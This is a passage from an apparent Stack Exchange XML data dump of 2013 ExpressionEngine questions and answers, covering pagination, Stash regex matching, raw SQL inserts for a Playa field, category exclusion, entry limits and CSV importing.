class=&quot;clearfix&quot;&amp;gt;&#xA;                    {gallery_image offset=&quot;{segment_4}&quot; limit=&quot;{rows_per_page}&quot;}&#xA;                        &amp;lt;div class=&quot;{switch=&quot;galleryImage|galleryImage|galleryImageLast&quot;}&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{big_image}&quot; rel=&quot;lightbox-gallery&quot; title=&quot;{image_caption}&quot;&amp;gt;&amp;lt;img src=&quot;{small_image}&quot; alt=&quot;{image_title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/gallery_image}    &#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- End gallery --&amp;gt;&#xA;                {if segment_4 &amp;gt; rows_per_page}&#xA;                    &amp;lt;a href=&quot;{page_url/}/{exp:simple_math calculate='{segment_4}-{rows_per_page}'}&quot;&amp;gt;&#xA;                    Prev&#xA;                    &amp;lt;/a&amp;gt;&#xA;                {/if}&#xA;&#xA;                {if &quot;{gallery_image:total_rows}&quot; &amp;gt; &quot;{exp:simple_math calculate='{segment_4}+{rows_per_page}'}&quot;}&#xA;                    &amp;lt;a href=&quot;{page_url}/{if segment_4}{exp:simple_math calculate='{segment_4}+{rows_per_page}'}{if:else}{rows_per_page}{/if}&quot;&amp;gt;&#xA;                    Next&#xA;                    &amp;lt;/a&amp;gt;&#xA;                {/if}&#xA;            {/if}&#xA;        {/exp:channel:entries}     &#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- End mainContent --&amp;gt;&#xA;&#xA;        {embed=&quot;includes/site_sidebar&quot;} &#xA;&#xA;{embed=&quot;includes/site_footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The images display on the page as they should, the 'next' pagination link displays when it should but it still links to an empty page. The gallery is currently held at &lt;code&gt;www.example.com/development/nails/gallery-test/&lt;/code&gt; and when the 'next' link is clicked the url changes to &lt;code&gt;www.example.com/development/nails/gallery-test/3&lt;/code&gt;. This page doesn't exist though and doesn't show the remainder of the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for your help!&lt;/p&gt;&#xA;" OwnerUserId="898" LastEditorUserId="898" LastEditDate="2013-01-30T09:33:44.433" LastActivityDate="2013-02-04T21:34:36.077" Title="Matrix Pagination 'next' link links to empty page" Tags="|matrix|pagination|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5497" PostTypeId="1" AcceptedAnswerId="5498" CreationDate="2013-01-28T21:52:59.320" Score="2" ViewCount="109" Body="&lt;p&gt;My company currently uses EE2 v.2.1.0, while the current version and User Guide is at 2.5.5. I'm looking for the 2.1.0 User Guide to better understand the older version of the {pagination_links} tag, which seems to fail as a paired tag, and older pagination API in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've Googled and searched EllisLab's site for access to previous versions but have not uncovered any links. Does anyone know if and where this information might be available?&lt;/p&gt;&#xA;" OwnerUserId="903" LastActivityDate="2013-01-28T22:00:33.127" Title="EE2 User Guide for v.2.1.0?" Tags="|pagination|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5498" PostTypeId="2" ParentId="5497" CreationDate="2013-01-28T22:00:33.127" Score="3" Body="&lt;p&gt;Here is a download of the EE 2.1.0 Docs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/f/LeSk/WpTT61nY&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/f/LeSk/WpTT61nY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-01-28T22:00:33.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5499" PostTypeId="1" AcceptedAnswerId="5513" CreationDate="2013-01-28T23:19:04.993" Score="1" ViewCount="244" Body="&lt;p&gt;I have a stash list of different plans that I need to break based on whether the word &lt;code&gt;light&lt;/code&gt; is in the title or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is what I'd like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One list of plans whose title contains the word light. If it doesn't contain light then I don't want it. &lt;/li&gt;&#xA;&lt;li&gt;Complete opposite to above. List of plans without light in the title.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I believe this possible using the &lt;code&gt;match&lt;/code&gt; and &lt;code&gt;against&lt;/code&gt; params in stash but I can't work out what the regex would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;name=&quot;digismart_plans&quot;&#xA;save=&quot;yes&quot;&#xA;scope=&quot;site&quot;&#xA;parse_tags=&quot;yes&quot;&#xA;}&#xA;&#xA;{exp:channel:entries&#xA;    channel=&quot;plan_digismart&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {stash:plan_title}{title}{/stash:plan_title}&#xA;    {stash:plan_entry_id}{entry_id}{/stash:plan_entry_id}&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then later in the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;name=&quot;digismart_plans&quot;&#xA;parse_vars=&quot;yes&quot;&#xA;parse_tags=&quot;yes&quot;&#xA;match=&quot;[#Light#]&quot;&#xA;against=&quot;plan_title&quot;&#xA;}&#xA;    {plan_title}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure on the regex required for not Light. Would be as simple as &lt;code&gt;match=&quot;{#!Light#]&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-01-29T03:03:22.700" LastActivityDate="2013-01-29T21:51:00.323" Title="Stash regex on title" Tags="|stash|regex|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5500" PostTypeId="1" AcceptedAnswerId="5550" CreationDate="2013-01-28T23:34:37.333" Score="0" ViewCount="297" Body="&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently upgraded a client's site to v2.5.5 and they are now not able to upload images. I've verified all permissions are correct and I've also reviewed the EE Wizard details (no errors there either). They were successfully uploading images in the weeks prior to the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could be causing this? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5 &lt;/li&gt;&#xA;&lt;li&gt;Windows 2008 Server&lt;/li&gt;&#xA;&lt;li&gt;PHP 5.3.10&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-01-29T21:07:38.127" Title="Thumbnail error when uploading after upgradeing to 2.5.5" Tags="|file-uploads|file-manager|thumbnails|v2.5.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5501" PostTypeId="1" AcceptedAnswerId="5503" CreationDate="2013-01-29T00:15:01.233" Score="2" ViewCount="639" Body="&lt;p&gt;I've been experimenting with using SQL INSERTs and UPDATEs instead of using the Channel Entries API in my add-on. In one of my channels I am using a playa field which is simply connected to a separate channel (in this case, my contacts channel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the Channel Entries API, I format the playa field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$playa_field = Array('selections' =&amp;gt; Array($entry_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly every time. However, when you examine the output of this in the database, you get the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[entry-id] [url-title] Full Name&#xA;e.g. [82] [joe-bloggs] Joe Bloggs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To create this format using the necessary variables I use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formatted_contact = &quot;[$entry_id] [&quot;.$meta['url_title'].&quot;] &quot;.$e_data['contact_name'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And embed it in the following query to insert a new item into my database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$titleQ = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;INSERT INTO `exp_channel_titles` (`site_id`, `channel_id`, `author_id`, `title`, `url_title`, `status`, `entry_date`) VALUES ('1', '3', '&quot;.$meta['author_id'].&quot;', '&quot;.$touch_date.' '.$touch_type.&quot;', '&quot;.str_replace(' ', '-', $touch_date.' '.$touch_type).&quot;', 'open', '$touch_date')&quot;);&#xA;$new_entry_id = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert_id();&#xA;echo 'new_entry_id is: '.$new_entry_id;&#xA;$entryQ = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;INSERT INTO `exp_channel_data` (`entry_id`, `site_id`, `channel_id`, `field_id_14`, `field_id_4`, `field_id_6`, `field_ft_6`, `field_id_48`, `field_id_49`, `field_id_53`, `field_id_52`) VALUES ('$new_entry_id', '1', '3', '$touch_date', '$touch_type', '$formatted_contact', 'none', '$touch_complete', '$touch_inactive', '$touch_comment', '$touch_source')&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All my code executes well enough from what I can see, however the playa field doesn't seem to get picked up along the way. If anyone can point out the potentially glaring formatting error it would be great! Please note, I am only looking at SQL as an alternative for the purposes of enhancing my system's speed and this will only be done in the background with little margin for error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-01-29T00:58:59.817" Title="Correct syntax for inserting a channel entry with a playa field?" Tags="|channel-entries|playa|database|mysql|performance|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5502" PostTypeId="2" ParentId="5499" CreationDate="2013-01-29T00:43:55.390" Score="0" Body="&lt;p&gt;I'm no regex guru, far from it - more a regex googler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google &lt;a href=&quot;https://stackoverflow.com/questions/406230/regular-expression-to-match-string-not-containing-a-word&quot;&gt;suggests&lt;/a&gt; that using negative look arounds to do an inverse match.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^((?!Light).)*$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when using match against, you might have to use the stash title not the original 'title'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;against=&quot;plan_title&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either way this should, hopefully, help you on your way :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-29T00:43:55.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5503" PostTypeId="2" ParentId="5501" CreationDate="2013-01-29T00:58:59.817" Score="2" Body="&lt;p&gt;@GDmac, thank you for your response and great spot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$relQ = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;INSERT INTO `exp_playa_relationships` (`parent_entry_id`, `parent_field_id`, `parent_col_id`, `parent_row_id`, `parent_var_id`, `child_entry_id`, `rel_order`) VALUES ('$new_entry_id', '6', 'NULL', 'NULL', 'NULL', '$entry_id', '0') &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is now called in my script and everything works out perfectly!&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-01-29T00:58:59.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5505" PostTypeId="1" AcceptedAnswerId="5507" CreationDate="2013-01-29T02:06:17.650" Score="5" ViewCount="1310" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a website that includes a featured blog post at the top, as well as a news section that all of my blog posts in chronological order. When a blog post is featured at the top of my homepage, I would like it to be excluded from the list of blog posts in the news section. In order for it to show up in the featured space, I have created a category with an ID of 440 titled Featured Post. For the News section, I am using a the ExpressionEngine channel:entries tag and am using category parameter with the &quot;not&quot; variable in order to exclude posts with the category of Featured Post. However the featured post is still showing up in the news section. Can someone see anything I am doing wrong here?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries  channel=&quot;news&quot; orderby=&quot;date&quot;  limit=&quot;9&quot; category=&quot;not 440&quot;}             &#xA;     &amp;lt;div class=&quot;holder&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{post_url}&quot;&amp;gt;&#xA;             &amp;lt;img src=&quot;{post_image}&quot; width=&quot;336&quot; height=&quot;195&quot; alt=&quot;Post Hero&quot; /&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;info&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;  {/exp:channel:entries}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-01-29T23:30:43.807" Title="Excluding a Category" Tags="|channel-entries|categories|channel|entries|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5506" PostTypeId="2" ParentId="5505" CreationDate="2013-01-29T02:15:35.253" Score="1" Body="&lt;p&gt;Would &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;offset='1'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do the job? Basically tell the display to ignore the first entry&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-29T02:15:35.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5507" PostTypeId="2" ParentId="5505" CreationDate="2013-01-29T02:35:49.010" Score="8" Body="&lt;p&gt;This parameter is confusing, and has been the subject of much consternation. As per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#9369&quot;&gt;Travis' comment&lt;/a&gt; on the docs page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If an entry is in two categories, cat_id 1 and cat_id 2, and you ask for just entries with category=&quot;not 1&quot;, the entry will still show up in the output. This is because it &lt;em&gt;is&lt;/em&gt; in category 2. This may not be the behavior you expect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://support.ellislab.com/bugs/detail/17970&quot;&gt;this bug report&lt;/a&gt;, closed as &quot;not a bug&quot;, as I suppose it is intended behaviour. There used to be a good feature request thread in the EL forums with ideas for implementing some sort of &quot;cannot be in this category no mater what&quot; parameter, but that forum section is now gone, and thus the feature request with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in other words, your code is working as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest using a custom Status instead - it will work as you intend, and will be easier for your client to see at a glance which entry is featured that way from the Edit Entries screen as well.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-29T02:35:49.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5508" PostTypeId="1" AcceptedAnswerId="5510" CreationDate="2013-01-29T03:52:14.967" Score="2" ViewCount="81" Body="&lt;p&gt;Hello ExpressionEngine gurus!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please show me how to add comments to an ExpressionEngine 2-based site from its control panel, being logged in as a Super Admin (as opposed to entering comments using the front end comment submission form)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be grateful for your help!&lt;/p&gt;&#xA;" OwnerUserId="905" LastActivityDate="2018-12-31T02:02:49.470" Title="Submitting Comments from Control Panel" Tags="|control-panel|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5509" PostTypeId="2" ParentId="5505" CreationDate="2013-01-29T05:27:41.220" Score="1" Body="&lt;p&gt;There's probably a better way to do this, using Stash, but in an EE 1.x site where I had this problem, I created a variable to hold the entry_id that needed skipping, and then excluded that entry from the entries call for the rest of the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was some raw php involved, and an embed, iirc, to jump around some parse order issues.&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2013-01-29T05:27:41.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5510" PostTypeId="2" ParentId="5508" CreationDate="2013-01-29T05:33:13.520" Score="5" Body="&lt;p&gt;You can't add comments from the control panel, to the best of my knowledge. You can manage comments— delete or edit, but I believe creating comments is purely a front end experience, unless you're talking about commenting code in the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comments are a 'user-based experience' item. Managing comments is a 'super-admin' experience. This can be done via the edit entries view or from clicking the recent comments link on the home screen of the control panel.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-29T05:33:13.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5511" PostTypeId="2" ParentId="5490" CreationDate="2013-01-29T05:50:16.527" Score="0" Body="&lt;p&gt;The whole codebase was re-engineered for Assets 2 to enable multiple source types, so Rackspace Cloud will be coming in the future, but we don't have an ETA on that yet.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-29T05:50:16.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5512" PostTypeId="1" AcceptedAnswerId="5514" CreationDate="2013-01-29T07:51:38.477" Score="4" ViewCount="1495" Body="&lt;p&gt;Based on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#limit&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link in the documentation, the default limit is 100 if it is not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you set it so that it will not have any limits?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-03-06T05:56:36.670" Title="How to set exp:channel:entries tag to no limit?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5513" PostTypeId="2" ParentId="5499" CreationDate="2013-01-29T07:56:58.663" Score="4" Body="&lt;p&gt;&lt;strong&gt;Inverse Matching&lt;/strong&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(?m)^((?!\bLight\b).)*$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see it in action here and take note of the info in the shot. Everything highlighted is being matched or in this case not matching Light:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1uJht.png&quot; alt=&quot;Patterns&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to match both lowercase and capital light then you'd change it to this. Everything highlighted is being matched or in this case not matching Light or light:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(?m)^((?!\b(l|L)ight\b).)*$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you end up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qHlu6.png&quot; alt=&quot;Patterns RegExp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Matching&lt;/strong&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\bLight\b&lt;/code&gt; matches Light:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9zTtQ.png&quot; alt=&quot;patterns regex&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally &lt;code&gt;\b(l|L)ight\b&lt;/code&gt; matches both light and Light:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0nC5.png&quot; alt=&quot;regex&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Notice how we aren't picking up &lt;code&gt;Lighttt&lt;/code&gt;? That's because we are wrapping with \b which sets up our match boundaries. Remove the two \b if you don't need boundaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: as pointed out by Mark Croxton in a comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, be sure to enclose your regex pattern with hashes, e.g. &#xA;  &lt;code&gt;#(?m)^((?!\b(l|L)ight\b).)*$#&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm sure Mark can explain this in more detail but the basic gist of it is that Stash itself reads regex wrapped in the hashes. This is something that, to my understanding anyway, pertains to Stash only; versus everyday regex.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-01-29T21:51:00.323" LastActivityDate="2013-01-29T21:51:00.323" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5514" PostTypeId="2" ParentId="5512" CreationDate="2013-01-29T08:14:59.717" Score="9" Body="&lt;p&gt;No limit is not possible, but you can simply set limit to some ultra-high value, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;limit=&quot;999999&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-29T08:14:59.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5515" PostTypeId="1" CreationDate="2013-01-29T08:42:38.113" Score="1" ViewCount="154" Body="&lt;p&gt;Weird one, front end showing duplicates of assets but only sometimes on some entries and always disappears after saving the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to be random, that is to say with 300+ products we only notice it when we visit the page it occurs on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the asset field in the CP&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Eels.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the front End&lt;/strong&gt; (Code view shows it's properly there)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MloK0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Save the entry and this is the front end after refresh&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IgDDl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have stash in play here and thought it might be a cache issue, so I forced the cache &lt;code&gt;{exp:stash:flush_cache}&lt;/code&gt; to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE2.5.5 with Assets 2.03 + Stash 2.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a snippet of the code in use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot; no_results_prefix=&quot;my_prefix&quot;}&#xA;{exp:channel:entries channel=&quot;{stash:TheChan}&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;{stash:symbols}&#xA;        {{stash:prefix}_symbols}&#xA;            &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{url}&quot; alt=&quot;{alt_text}&quot; title=&quot;{title}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/{stash:prefix}_symbols}&#xA;    {/stash:symbols}&#xA;… a whole heap of captured 'stashes'&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've searched P&amp;amp;T and whilst this phenomena is not unheard of, it was apparently sorted back in assets 1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED/SIMPLIFIED TEMPLATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;filler-metals&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;&amp;lt;div class=&quot;container body&quot;&amp;gt;&#xA;&#xA;            {fm_symbols}&#xA;                &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{url}&quot; alt=&quot;{alt_text}&quot; title=&quot;{title}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/fm_symbols}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastEditorUserId="28" LastEditDate="2013-02-09T23:08:32.120" LastActivityDate="2013-02-09T23:08:32.120" Title="Assets duplicate on front end" Tags="|ee2|assets|stash|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5516" PostTypeId="2" ParentId="5437" CreationDate="2013-01-29T08:53:52.953" Score="2" Body="&lt;p&gt;Managing EE1 and EE2 sites on same domain might cause you some pain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest switching from Gallery to &lt;a href=&quot;http://www.devdemon.com/channel_images/&quot; rel=&quot;nofollow&quot;&gt;Channel Images&lt;/a&gt;. It &lt;a href=&quot;http://www.devdemon.com/forums/viewthread/636/&quot; rel=&quot;nofollow&quot;&gt;looks like&lt;/a&gt; there's a version for EE 1.x available. And it is &lt;a href=&quot;http://www.devdemon.com/forums/viewthread/2137/&quot; rel=&quot;nofollow&quot;&gt;possible&lt;/a&gt;  to import existing images to Channel Images gallery (though it could probably still require some manual labour).&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-29T08:53:52.953" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5517" PostTypeId="2" ParentId="5248" CreationDate="2013-01-29T09:12:48.530" Score="4" Body="&lt;p&gt;Importer allows you to import data from a CSV file into entries, but as you mentioned, by default each CSV row will produce an entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is your data for all rows going to be stored in one single entry?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You might want to consider saving the data in a Matrix field, which Importer supports:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/importer/third_party_support/#pt_matrix&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/importer/third_party_support/#pt_matrix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSV files are limited for this however, given that they are one-dimensional. If importing into a Matrix field, I would recommend using a JSON or XML file, which supports sub-nodes of data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively, if you simply want all CSV cells on all rows to map to custom fields in your single entry, you could open up your CSV file in a text editor and do a general search &amp;amp; replace for linebreaks. This should make Importer recognize the data in the CSV file as one row, and therefore one entry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another strategy: if each CSV &lt;strong&gt;column&lt;/strong&gt; needs to have all their data in a single entry custom field, you might be able to merge your column data in your spreadsheet editor, followed by exporting to CSV. This will also create one row of data, and therefore one entry, but the data in each custom field should be grouped by CSV column.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense. &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-01-29T09:12:48.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5518" PostTypeId="2" ParentId="2310" CreationDate="2013-01-29T09:19:31.810" Score="2" Body="&lt;p&gt;Right after registration, you can send your users to a SafeCracker form. The form could be on the same page as the registation form, with a segment to tell the template to display the SafeCracker form instead of the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users can then upload their file through the SafeCracker form, and the author of the entry would be the logged in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the file size, make sure your upload_max_filesize setting in PHP is high enough to accept a 10 Mb file (this can typically be modified by editing php.ini), and that your EE upload directory also allows large file uploads. You can modify the file size limit in EE's File Manager in the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-01-29T09:19:31.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
